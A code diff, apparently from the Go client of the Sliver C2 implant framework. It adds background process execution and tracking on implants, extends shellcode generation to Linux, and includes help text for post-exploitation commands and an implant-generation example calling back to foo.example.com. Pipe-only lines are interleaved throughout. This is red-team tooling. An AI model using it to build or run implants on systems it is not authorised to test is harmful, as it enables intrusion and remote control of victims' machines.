name, ok := hashcatHashTypes[mode]
|
||||||
|
return name, ok
|
||||||
|
}
|
||||||
|
|
||||||
|
func humanizeHashRate(rate uint64) string {
|
||||||
|
const unit = 1000
|
||||||
|
if rate < unit {
|
||||||
|
return fmt.Sprintf("%d H/s", rate)
|
||||||
|
}
|
||||||
|
value := float64(rate)
|
||||||
|
exp := 0
|
||||||
|
for value >= unit && exp < 5 {
|
||||||
|
value /= unit
|
||||||
|
exp++
|
||||||
|
}
|
||||||
|
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
|
||||||
|
if exp == 0 {
|
||||||
|
return fmt.Sprintf("%d H/s", rate)
|
||||||
|
}
|
||||||
|
if exp > len(suffixes) {
|
||||||
|
exp = len(suffixes)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
|
||||||
|
}
|
||||||
@@ -27,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
|
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
|
||||||
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
||||||
f.BoolP("output", "o", true, "capture command output")
|
f.BoolP("output", "o", true, "capture command output")
|
||||||
|
f.Bool("background", false, "start the process in the background and track it")
|
||||||
f.BoolP("save", "s", false, "save output to a file")
|
f.BoolP("save", "s", false, "save output to a file")
|
||||||
f.BoolP("loot", "X", false, "save output as loot")
|
f.BoolP("loot", "X", false, "save output as loot")
|
||||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||||
@@ -45,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
|
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
|
||||||
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
|
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
|
||||||
|
|
||||||
|
executeChildrenCmd := &cobra.Command{
|
||||||
|
Use: consts.ExecuteChildrenStr,
|
||||||
|
Short: "List tracked background execute child processes",
|
||||||
|
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
|
||||||
|
Args: cobra.NoArgs,
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
ExecuteChildrenCmd(cmd, con, args)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
|
||||||
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
|
})
|
||||||
|
executeCmd.AddCommand(executeChildrenCmd)
|
||||||
|
|
||||||
executeAssemblyCmd := &cobra.Command{
|
executeAssemblyCmd := &cobra.Command{
|
||||||
Use: consts.ExecuteAssemblyStr,
|
Use: consts.ExecuteAssemblyStr,
|
||||||
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
||||||
|
|||||||
@@ -0,0 +1,106 @@
|
|||||||
|
package exec
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2019 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
|
"github.com/jedib0t/go-pretty/v6/table"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
"google.golang.org/protobuf/proto"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
|
||||||
|
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
|
session, beacon := con.ActiveTarget.GetInteractive()
|
||||||
|
if session == nil && beacon == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
ctrl := make(chan bool)
|
||||||
|
con.SpinUntil("Querying execute children ...", ctrl)
|
||||||
|
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
|
||||||
|
Request: con.ActiveTarget.Request(cmd),
|
||||||
|
})
|
||||||
|
ctrl <- true
|
||||||
|
<-ctrl
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if execChildren.Response != nil && execChildren.Response.Async {
|
||||||
|
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||||
|
err = proto.Unmarshal(task.Response, execChildren)
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
PrintExecuteChildren(execChildren, con)
|
||||||
|
})
|
||||||
|
con.PrintAsyncResponse(execChildren.Response)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
PrintExecuteChildren(execChildren, con)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrintExecuteChildren - Render execute children output.
|
||||||
|
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
|
||||||
|
if execChildren == nil || len(execChildren.Children) == 0 {
|
||||||
|
con.PrintInfof("No tracked background execute children\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
|
||||||
|
sort.Slice(children, func(i, j int) bool {
|
||||||
|
return children[i].StartTime < children[j].StartTime
|
||||||
|
})
|
||||||
|
|
||||||
|
tw := table.NewWriter()
|
||||||
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
|
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
|
||||||
|
|
||||||
|
for _, child := range children {
|
||||||
|
state := "running"
|
||||||
|
exitCode := "-"
|
||||||
|
if child.Exited {
|
||||||
|
state = "exited"
|
||||||
|
exitCode = fmt.Sprintf("%d", child.ExitCode)
|
||||||
|
}
|
||||||
|
|
||||||
|
started := "-"
|
||||||
|
if child.StartTime != 0 {
|
||||||
|
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
|
||||||
|
}
|
||||||
|
|
||||||
|
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
|
||||||
|
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
|
||||||
|
}
|
||||||
|
|
||||||
|
con.Printf("%s\n", tw.Render())
|
||||||
|
}
|
||||||
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
token, _ := cmd.Flags().GetBool("token")
|
token, _ := cmd.Flags().GetBool("token")
|
||||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||||
output, _ := cmd.Flags().GetBool("output")
|
output, _ := cmd.Flags().GetBool("output")
|
||||||
|
background, _ := cmd.Flags().GetBool("background")
|
||||||
stdout, _ := cmd.Flags().GetString("stdout")
|
stdout, _ := cmd.Flags().GetString("stdout")
|
||||||
stderr, _ := cmd.Flags().GetString("stderr")
|
stderr, _ := cmd.Flags().GetString("stderr")
|
||||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||||
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
}
|
}
|
||||||
hostName := getHostname(session, beacon)
|
hostName := getHostname(session, beacon)
|
||||||
|
|
||||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
if background && (saveLoot || saveOutput) {
|
||||||
captureOutput := output || saveLoot || saveOutput
|
con.PrintErrorf("The loot and save options are not supported with --background\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
if output && beacon != nil {
|
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||||
|
captureOutput := !background && (output || saveLoot || saveOutput)
|
||||||
|
|
||||||
|
if captureOutput && beacon != nil {
|
||||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
Path: cmdPath,
|
Path: cmdPath,
|
||||||
Args: args,
|
Args: args,
|
||||||
Output: captureOutput,
|
Output: captureOutput,
|
||||||
|
Background: background,
|
||||||
Stderr: stderr,
|
Stderr: stderr,
|
||||||
Stdout: stdout,
|
Stdout: stdout,
|
||||||
UseToken: token,
|
UseToken: token,
|
||||||
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
Path: cmdPath,
|
Path: cmdPath,
|
||||||
Args: args,
|
Args: args,
|
||||||
Output: captureOutput,
|
Output: captureOutput,
|
||||||
|
Background: background,
|
||||||
Stderr: stderr,
|
Stderr: stderr,
|
||||||
Stdout: stdout,
|
Stdout: stdout,
|
||||||
EnvInheritance: envInheritance,
|
EnvInheritance: envInheritance,
|
||||||
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
|
|||||||
stderr, _ := cmd.Flags().GetString("stderr")
|
stderr, _ := cmd.Flags().GetString("stderr")
|
||||||
|
|
||||||
output, _ := cmd.Flags().GetBool("output")
|
output, _ := cmd.Flags().GetBool("output")
|
||||||
|
background := false
|
||||||
|
if cmd.Flags().Lookup("background") != nil {
|
||||||
|
background, _ = cmd.Flags().GetBool("background")
|
||||||
|
}
|
||||||
|
if background {
|
||||||
|
// Background execution never returns inline output.
|
||||||
|
output = false
|
||||||
|
}
|
||||||
if !output {
|
if !output {
|
||||||
if exec.Status == 0 {
|
if exec.Pid != 0 {
|
||||||
con.PrintInfof("Command executed successfully\n")
|
if background {
|
||||||
|
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
|
||||||
} else {
|
} else {
|
||||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
con.PrintInfof("Process started\n")
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -343,13 +343,14 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
|||||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||||
|
|
||||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows and darwin/arm64)")
|
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows, darwin/arm64, linux/amd64, linux/arm64)")
|
||||||
|
|
||||||
// Shellcode generation options:
|
// Shellcode generation options:
|
||||||
// - Windows: Donut
|
// - Windows: Donut
|
||||||
// - macOS: beignet
|
// - macOS: beignet
|
||||||
|
// - Linux: malasada
|
||||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows and macOS shellcode)")
|
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows, macOS, and Linux shellcode)")
|
||||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
|
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
|
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
|
||||||
|
|||||||
@@ -80,6 +80,7 @@ var (
|
|||||||
"darwin/arm64": true,
|
"darwin/arm64": true,
|
||||||
"linux/386": true,
|
"linux/386": true,
|
||||||
"linux/amd64": true,
|
"linux/amd64": true,
|
||||||
|
"linux/arm64": true,
|
||||||
"windows/386": true,
|
"windows/386": true,
|
||||||
"windows/amd64": true,
|
"windows/amd64": true,
|
||||||
}
|
}
|
||||||
@@ -394,12 +395,25 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
|||||||
return "", nil
|
return "", nil
|
||||||
}
|
}
|
||||||
if configFormat == clientpb.OutputFormat_SHELLCODE {
|
if configFormat == clientpb.OutputFormat_SHELLCODE {
|
||||||
if targetOS != "windows" && targetOS != "darwin" {
|
switch targetOS {
|
||||||
con.PrintErrorf("Shellcode format is currently only supported on Windows and macOS\n")
|
case "windows":
|
||||||
return "", nil
|
// Server-side implementation supports amd64 and 386 only.
|
||||||
}
|
if targetArch != "amd64" && targetArch != "386" {
|
||||||
if targetOS == "darwin" && targetArch != "arm64" {
|
con.PrintErrorf("Windows shellcode format is only supported on windows/amd64 and windows/386\n")
|
||||||
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
|
return "", nil
|
||||||
|
}
|
||||||
|
case "darwin":
|
||||||
|
if targetArch != "arm64" {
|
||||||
|
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
case "linux":
|
||||||
|
if targetArch != "amd64" && targetArch != "arm64" {
|
||||||
|
con.PrintErrorf("Linux shellcode format is only supported on linux/amd64 and linux/arm64\n")
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
con.PrintErrorf("Shellcode format is currently only supported on Windows, macOS, and Linux\n")
|
||||||
return "", nil
|
return "", nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -585,14 +599,22 @@ func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clien
|
|||||||
cmd.Flags().Changed("donut-unicode") ||
|
cmd.Flags().Changed("donut-unicode") ||
|
||||||
cmd.Flags().Changed("donut-oep")
|
cmd.Flags().Changed("donut-oep")
|
||||||
|
|
||||||
// macOS shellcode currently only supports compression.
|
// macOS and Linux shellcode currently only support compression.
|
||||||
if targetOS != "windows" {
|
if targetOS != "windows" {
|
||||||
if targetOS == "darwin" {
|
if targetOS != "darwin" && targetOS != "linux" {
|
||||||
if windowsOnlyChanged {
|
// parseCompileFlags normally blocks this, but keep a safe fallback.
|
||||||
|
if anyChanged {
|
||||||
|
con.PrintWarnf("Shellcode options are only supported on Windows, macOS, and Linux shellcode, ignoring.\n")
|
||||||
|
}
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if windowsOnlyChanged {
|
||||||
|
if targetOS == "darwin" {
|
||||||
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
|
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
|
||||||
|
} else {
|
||||||
|
con.PrintWarnf("Windows-only shellcode options are ignored on Linux shellcode.\n")
|
||||||
}
|
}
|
||||||
} else if anyChanged {
|
|
||||||
con.PrintWarnf("Shellcode options are only supported on Windows and macOS shellcode, ignoring.\n")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
shellcodeCompress := uint32(1)
|
shellcodeCompress := uint32(1)
|
||||||
|
|||||||
@@ -47,44 +47,45 @@ var (
|
|||||||
consts.GenerateStr: generateHelp,
|
consts.GenerateStr: generateHelp,
|
||||||
consts.StageListenerStr: stageListenerHelp,
|
consts.StageListenerStr: stageListenerHelp,
|
||||||
|
|
||||||
consts.MsfStr: msfHelp,
|
consts.MsfStr: msfHelp,
|
||||||
consts.MsfInjectStr: msfInjectHelp,
|
consts.MsfInjectStr: msfInjectHelp,
|
||||||
consts.PsStr: psHelp,
|
consts.PsStr: psHelp,
|
||||||
consts.PingStr: pingHelp,
|
consts.PingStr: pingHelp,
|
||||||
consts.KillStr: killHelp,
|
consts.KillStr: killHelp,
|
||||||
consts.LsStr: lsHelp,
|
consts.LsStr: lsHelp,
|
||||||
consts.CdStr: cdHelp,
|
consts.CdStr: cdHelp,
|
||||||
consts.PwdStr: pwdHelp,
|
consts.PwdStr: pwdHelp,
|
||||||
consts.CatStr: catHelp,
|
consts.CatStr: catHelp,
|
||||||
consts.EditStr: editHelp,
|
consts.EditStr: editHelp,
|
||||||
consts.HexEditStr: hexEditHelp,
|
consts.HexEditStr: hexEditHelp,
|
||||||
consts.DownloadStr: downloadHelp,
|
consts.DownloadStr: downloadHelp,
|
||||||
consts.GrepStr: grepHelp,
|
consts.GrepStr: grepHelp,
|
||||||
consts.HeadStr: headHelp,
|
consts.HeadStr: headHelp,
|
||||||
consts.TailStr: tailHelp,
|
consts.TailStr: tailHelp,
|
||||||
consts.UploadStr: uploadHelp,
|
consts.UploadStr: uploadHelp,
|
||||||
consts.MkdirStr: mkdirHelp,
|
consts.MkdirStr: mkdirHelp,
|
||||||
consts.RmStr: rmHelp,
|
consts.RmStr: rmHelp,
|
||||||
consts.ChtimesStr: chtimesHelp,
|
consts.ChtimesStr: chtimesHelp,
|
||||||
consts.ProcdumpStr: procdumpHelp,
|
consts.ProcdumpStr: procdumpHelp,
|
||||||
consts.ElevateStr: elevateHelp,
|
consts.ElevateStr: elevateHelp,
|
||||||
consts.RunAsStr: runAsHelp,
|
consts.RunAsStr: runAsHelp,
|
||||||
consts.ImpersonateStr: impersonateHelp,
|
consts.ImpersonateStr: impersonateHelp,
|
||||||
consts.RevToSelfStr: revToSelfHelp,
|
consts.RevToSelfStr: revToSelfHelp,
|
||||||
consts.ExecuteStr: executeHelp,
|
consts.ExecuteStr: executeHelp,
|
||||||
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
|
||||||
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
consts.ExecuteAssemblyStr: executeAssemblyHelp,
|
||||||
consts.MigrateStr: migrateHelp,
|
consts.ExecuteShellcodeStr: executeShellcodeHelp,
|
||||||
consts.SideloadStr: sideloadHelp,
|
consts.MigrateStr: migrateHelp,
|
||||||
consts.TerminateStr: terminateHelp,
|
consts.SideloadStr: sideloadHelp,
|
||||||
consts.AliasesStr: loadAliasHelp,
|
consts.TerminateStr: terminateHelp,
|
||||||
consts.PsExecStr: psExecHelp,
|
consts.AliasesStr: loadAliasHelp,
|
||||||
consts.BackdoorStr: backdoorHelp,
|
consts.PsExecStr: psExecHelp,
|
||||||
consts.SpawnDllStr: spawnDllHelp,
|
consts.BackdoorStr: backdoorHelp,
|
||||||
consts.MountStr: mountHelp,
|
consts.SpawnDllStr: spawnDllHelp,
|
||||||
consts.ShikataGaNai: shikataGaNaiHelp,
|
consts.MountStr: mountHelp,
|
||||||
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
consts.ShikataGaNai: shikataGaNaiHelp,
|
||||||
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
|
||||||
|
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
|
||||||
|
|
||||||
consts.WebsitesStr: websitesHelp,
|
consts.WebsitesStr: websitesHelp,
|
||||||
consts.ScreenshotStr: screenshotHelp,
|
consts.ScreenshotStr: screenshotHelp,
|
||||||
@@ -135,6 +136,7 @@ var (
|
|||||||
|
|
||||||
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
|
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
|
||||||
arguments are be separated from the sliver 'execute' arguments with '--'
|
arguments are be separated from the sliver 'execute' arguments with '--'
|
||||||
|
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
|
||||||
|
|
||||||
[[.Bold]]Example:[[.Normal]]
|
[[.Bold]]Example:[[.Normal]]
|
||||||
execute /bin/bash --env FOO=1 -- -c env
|
execute /bin/bash --env FOO=1 -- -c env
|
||||||
@@ -145,6 +147,11 @@ FOO=1
|
|||||||
PWD=/Users/moloch/git/sliver
|
PWD=/Users/moloch/git/sliver
|
||||||
SHLVL=1
|
SHLVL=1
|
||||||
_=/usr/bin/env
|
_=/usr/bin/env
|
||||||
|
`
|
||||||
|
|
||||||
|
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
|
||||||
|
|
||||||
|
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
|
||||||
`
|
`
|
||||||
|
|
||||||
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
|
||||||
@@ -183,7 +190,7 @@ You can also stack the C2 configuration with multiple protocols:
|
|||||||
|
|
||||||
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
|
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
|
||||||
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
|
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
|
||||||
and Linux ELF. The output format is controlled with the --os and --format flags.
|
Linux ELF, and Linux shellcode (amd64/arm64). The output format is controlled with the --os and --format flags.
|
||||||
|
|
||||||
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
|
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
|
||||||
generate --mtls foo.example.com
|
generate --mtls foo.example.com
|
||||||
@@ -202,7 +209,7 @@ To output a Linux ELF executable file, the following command would be used:
|
|||||||
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
|
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
|
||||||
When generating shellcode (--format shellcode), you can tune the shellcode generator:
|
When generating shellcode (--format shellcode), you can tune the shellcode generator:
|
||||||
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
|
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
|
||||||
--shellcode-compress # Enable aPLib compression (windows and macOS)
|
--shellcode-compress # Enable aPLib compression (windows, macOS, and Linux)
|
||||||
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||||
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||||
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||||
@@ -211,6 +218,8 @@ When generating shellcode (--format shellcode), you can tune the shellcode gener
|
|||||||
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
|
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
|
||||||
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
|
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
|
||||||
|
|
||||||
|
Note: macOS and Linux shellcode currently only support --shellcode-compress; other options are Windows-only.
|
||||||
|
|
||||||
|
|
||||||
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
|
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
|
||||||
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
|
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
|
||||||
|
|||||||
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
|
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
|
||||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
|
||||||
})
|
})
|
||||||
|
|
||||||
// HTTP
|
// HTTP
|
||||||
|
|||||||
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
|||||||
lhost, _ := cmd.Flags().GetString("lhost")
|
lhost, _ := cmd.Flags().GetString("lhost")
|
||||||
lport, _ := cmd.Flags().GetUint32("lport")
|
lport, _ := cmd.Flags().GetUint32("lport")
|
||||||
canaries, _ := cmd.Flags().GetBool("no-canaries")
|
canaries, _ := cmd.Flags().GetBool("no-canaries")
|
||||||
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
|
|
||||||
|
|
||||||
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
|
||||||
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
|
||||||
Domains: domains,
|
Domains: domains,
|
||||||
Host: lhost,
|
Host: lhost,
|
||||||
Port: lport,
|
Port: lport,
|
||||||
Canaries: !canaries,
|
Canaries: !canaries,
|
||||||
EnforceOTP: !enforceOTP,
|
|
||||||
})
|
})
|
||||||
con.Println()
|
con.Println()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
|
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
|
||||||
f.BoolP("output", "o", true, "capture command output")
|
f.BoolP("output", "o", execReq.Output, "capture command output")
|
||||||
|
f.Bool("background", execReq.Background, "start the process in the background and track it")
|
||||||
f.BoolP("loot", "X", false, "save output as loot")
|
f.BoolP("loot", "X", false, "save output as loot")
|
||||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
|
||||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
|
||||||
|
|
||||||
execCmd := &cobra.Command{Use: constants.ExecuteStr}
|
execCmd := &cobra.Command{Use: constants.ExecuteStr}
|
||||||
execCmd.Flags().AddFlagSet(f)
|
execCmd.Flags().AddFlagSet(f)
|
||||||
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
|||||||
|
|
||||||
exec.PrintExecute(execResult, execCmd, con)
|
exec.PrintExecute(execResult, execCmd, con)
|
||||||
|
|
||||||
|
case sliverpb.MsgExecuteChildrenReq:
|
||||||
|
execChildren := &sliverpb.ExecuteChildren{}
|
||||||
|
err := proto.Unmarshal(task.Response, execChildren)
|
||||||
|
